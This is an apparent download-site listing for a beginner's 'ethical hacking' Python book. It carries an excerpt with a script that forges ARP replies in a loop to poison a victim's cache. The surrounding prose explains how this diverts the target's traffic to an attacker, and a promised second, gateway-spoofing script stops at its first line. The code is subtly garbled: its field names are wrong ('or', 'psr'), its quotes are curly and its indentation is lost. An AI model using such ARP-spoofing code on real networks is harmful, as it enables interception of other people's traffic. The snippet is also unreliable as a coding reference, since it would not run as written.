Hacking with Python: Beginner's Guide to Ethical Hacking, Basic Security, Penetration Testing, and Python Hacking (Python Programming, Hacking, Python Coding, Python and Hacking Book 3) by Evan Lane

Hacking with Python: Beginner's Guide to Ethical Hacking, Basic Security, Penetration Testing, and Python Hacking (Python Programming, Hacking, Python Coding, Python and Hacking Book 3) by Evan Lane

Author:Evan Lane [Lane, Evan]
Language: eng
Format: epub, pdf
Published: 2017-03-11T08:00:00+00:00


# Forge the ARP packet

arpFake = ARP()

arpFake.or=2

arpFake.psr=dgwIP

arpFake.pdst=vicIP

arpFake.hwdst=vicMAC

# While loop to send ARP

# when the cache is not spoofed

while True:

# Send the ARP replies

send(arpFake)

print “ARP sent”

#Wait for a ARP replies from the default GW

sniff(filter=”arp and host 10.0.0.1”, count=1)

In order to get this script to work the proper way, you need to save it as one of your Python files. Once it is saved, you can run it using the privileges that you have as an administrator.

Now any of the communication from the target to any network that is outside of the 10.0.0.0/24 one that we set up will pass right to the hacker after going to the default gateway first. The problem here is that while the hacker is able to see the information, it is still going straight to the target before the hacker can make any changes to it because we haven’t done a spoof on the ARP table on this gateway. The script below is what you will need to use to make this happen:

#!/usr/bin/python



Download



Copyright Disclaimer:
This site does not store any files on its server. We only index and link to content provided by other sites. Please contact the content providers to delete copyright contents if any and email us, we'll remove relevant links or contents immediately.